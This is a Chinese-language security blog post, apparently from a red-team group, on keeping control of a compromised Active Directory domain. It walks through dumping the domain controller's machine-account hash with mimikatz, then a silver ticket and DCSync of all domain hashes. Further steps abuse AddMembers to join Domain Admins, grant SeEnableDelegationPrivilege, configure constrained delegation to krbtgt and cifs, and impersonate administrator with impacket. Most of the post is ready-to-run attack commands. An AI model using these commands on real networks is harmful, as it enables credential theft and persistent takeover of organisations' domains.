利用域控机器账户进行DCSync权限维持

文摘   科技   2024-05-24 10:28   广东  

“A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践。”



01

简述


MachineAccount既是机器账号,每台计算机在安装系统后默认生成的计算机名。

计算机账户的秘密存储在注册表中的位置:

HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$machine.ACC# 该注册表键路径只能在 SYSTEM 权限下访问


如果计算机加入域中,会将计算机帐户的密码同步到域控制器并保存在域控制器的 NTDS.dit 活动目录数据库文件中。计算机帐户的密码默认每 30 天自动更新,密码长度为 120 个字符,所以几乎无法还原出计算机帐户的明文口令。

要使用机器账户实现 DCSync,首先要做的就是获取机器账户身份的权限,然后再利用机器账户的身份进行 DCSync 操作。

在获取到域控权限之后,使用机器账号进行做一个权限维持的操作



02
获取 MachineAccount的密码哈希

在域控上使用mimikatz通过注册表文件导出当前计算机账户的密码哈希:


privilege::debugtoken::elevatelsadump::secretsmimikatz.exe "privilege::debug" "token::elevate" "lsadump::secrets" "exit"





获取以下信息:

Domain SID:S-1-5-21-2753149068-621323051-1466803448MachineAccount Hash:96e4a4c9c1e0e84ec8cf062e49711345

03

使用 MachineAccount 密码哈希进行DCSync

有了机器账号的密码哈希后,我们需要想办法登录到这个机器账号,由于无法破解哈希,我们可以使用白银票据的方法。

利用方式如下:


mimikatz "kerberos::golden /domain:hacker.com /sid:S-1-5-21-2753149068-621323051-1466803448 /target:dc1.hacker.com /service:LDAP /rc4:96e4a4c9c1e0e84ec8cf062e49711345 /user:krbtgt /ptt" "lsadump::dcsync /domain:hacker.com /all /csv" exit


也可以通过 secretsdump,使用机器账户的哈希从域外的计算机连接至域控制器导出哈希:

python3 secretsdump.py -hashes :96e4a4c9c1e0e84ec8cf062e49711345 hacker/DC1$@192.168.1.2


04

AddMembers权限

可以将任意用户,组或者计算机添加到目标组里。

如果一个用户对一个组拥有AddMembers权限,那么这个用户就可以将任何用户加入这个组,从而具备这个组的权限。

addmember(bf9679c0-0de6-11d0-a285-00aa003049e2)

BLOODHOUND查询语法如下:MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]->(m:Group)) RETURN p


04

添加AddMembers权限

添加Domain Amins组addmembers权限


查询当前域管组


04

添加域管组

将自己添加进入域管组


后续就可以拿着这个账号的HASH接管域控了

04

SeEnableDelegationPrivilege权限利用

        3.1、寻找SeEnableDelegationPrivilege

        当获取了一个域用户权限(普通域用户只能进行寻找是否存在这个权限账号),或者域管权限的时候,可以设置一个权限,做一个权限维持

    利用powershell寻找特权账号:

    (思路):

     • 使用PowerView(773kb)寻找GPO(Default Domain Controllers Policy)路径(默认:{6AC1786C-016F-11D2-945F-00C04fB984F9})

     • type查看改路径,然后查看SeEnableDelegationPrivilege字段的SID

     • 拿到SID之后使用命令将SID转为Username


powershell -exec bypass -command "import-module .\powerview.ps1;Get-DomainPolicy -Source DC"

type "\\hacker.com\sysvol\hacker.com\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"

powershell -exec bypass -command "import-module .\powerview.ps1;'S-1-5-21-2753149068-621323051-1466803448-1104'|Convert-SidToName"




3.2、添加SeEnableDelegationPrivilege权限

查询是否存在SeEnableDelegationPrivilege权限账号后,如果没有目前掌握的账号或者其他账号的时候(**通常查询情况是只BUILTIN\Administrators的成员(即Domain Admins/Enterprise Admins/etc)拥有SeEnableDelegationPrivilege权限,普通用户是没有此权限的**),我们拿到域控权限就可以自己添加一个权限来进行做权限维持

这个时候我们已经拿到域控权限了,所以我们可以使用简单的方法实现添加特权

**添加SeEnableDelegationPrivilege特权:

UserRights.psml**


powershell -exec bypass -command "import-module .\UserRights.psm1;Grant-UserRight -Account username -Right SeEnableDelegationPrivilege"
powershell -exec bypass -command "import-module .\UserRights.psm1;Get-AccountsWithUserRight -Right SeEnableDelegationPrivilege"


添加SPN:  

setspn -s hacker/exchange exchange



使用PowerView(773KB)添加这个用户对整个域的完全控制权限:

powershell -exec bypass -command "import-module .\PowerView.ps1;Add-DomainObjectAcl -TargetIdentity username -PrincipalIdentity username -Rights All"
验证是否存在权限:
powershell -exec bypass -command "import-module .\PowerView.ps1;Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match 'User-SID'} | select objectdn,ActiveDirectoryRights"#这里验证需要设置的用户SID,可以使用type查看GptTmpl.inf文件,因为之前添加了这个权限


域控更新组策略:  

gpupdate /force



以上就是将用户添加了SeEnableDelegationPrivilege权限


3.3、利用SeEnableDelegationPrivilege权限做cifs约束委派

查询已有配置了约束委派的机器

powershell -exec bypass -command "import-module .\PowerView.ps1;Get-DomainUser –TrustedToAuth -domain domain -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl"



设置刚刚配置了特权的用户约束委派,配置一个从修改了下特权的用户到域控的约束(cifs)委派

在域用户的机器上使用Microsoft.ActiveDirectory.Management.dll设置


Import-Module .\Microsoft.ActiveDirectory.Management.dll$user = Get-ADUser niufurenSet-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/hacker.com")}

#先开启委派powershell -exec bypass -command "Import-Module .\Microsoft.ActiveDirectory.Management.dll;$user = Get-ADUser username; Set-ADObject $user -Add @{'msDS-AllowedToDelegateTo' = @('krbtgt/hacker.com')}"

#再做cifs约束委派powershell -exec bypass -command "Import-Module .\Microsoft.ActiveDirectory.Management.dll;$user = Get-ADUser username;Set-ADObject $user -Add @{'msDS-AllowedToDelegateTo' = @('cifs/dc1.hacker.com')}"


再次验证一下是否成功添加:



修改用户useraccountcontrol值(使其允许委派)

添加TRUSTED_TO_AUTH_FOR_DELEGATION (16777216)权限


powershell -exec bypass -command "Import-Module .\PowerView.ps1;$uname='dc-username';$pwd=ConvertTo-SecureString 'dc-password' -AsPlainText –Force;$cred=New-Object System.Management.Automation.PSCredential($uname,$pwd);$Users=Get-NetUser -Domain 'domain' -DomainController dc-ip -Credential $cred;Set-ADObject -Domain 'domain' -DomainController dc-ip -Credential $cred -SamAccountName attack-username -PropertyName useraccountcontrol -PropertyXorValue number"



这里可以看见添加了TRUSTED_TO_AUTH_FOR_DELEGATION (16777216)权限了



到这里就已经做好约束(cifs)委派了:

• exchange域用户到dc1.hacker.com的约束委派


发起s4u2self 和s4u2proxy,模拟administrator 访问dc1.hacker.com

域控导出所有用户hash

mimikatz.exe "lsadump::dcsync /domain:hacker.com /all /csv" exit


我们将exchange域用户的hash拿出来  

`b9cc6ccdfed86791f1cb66c66114231a`

使用impacket工具进行获取ST


python getST.py hacker.com/one -hashes 8acfa082097b69e5211699cc29eb3209:8acfa082097b69e5211699cc29eb3209 -dc-ip 192.168.1.2 -spn cifs/dc1.hacker.com -impersonate administratorexport KRB5CCNAME=administrator.ccachepython psexec.py hacker.com/administrator@dc1.hacker.com -k -no-pass -dc-ip 192.168.1.2











A9 Team
A9 Team 甲方攻防团队,成员来自某证券、微步、青藤、长亭、安全狗等公司。成员能力涉及安全运营、威胁情报、攻防对抗、渗透测试、数据安全、安全产品开发等领域,持续分享安全运营和攻防的思考和实践,期望和朋友们共同进步,守望相助,合作共赢。
 最新文章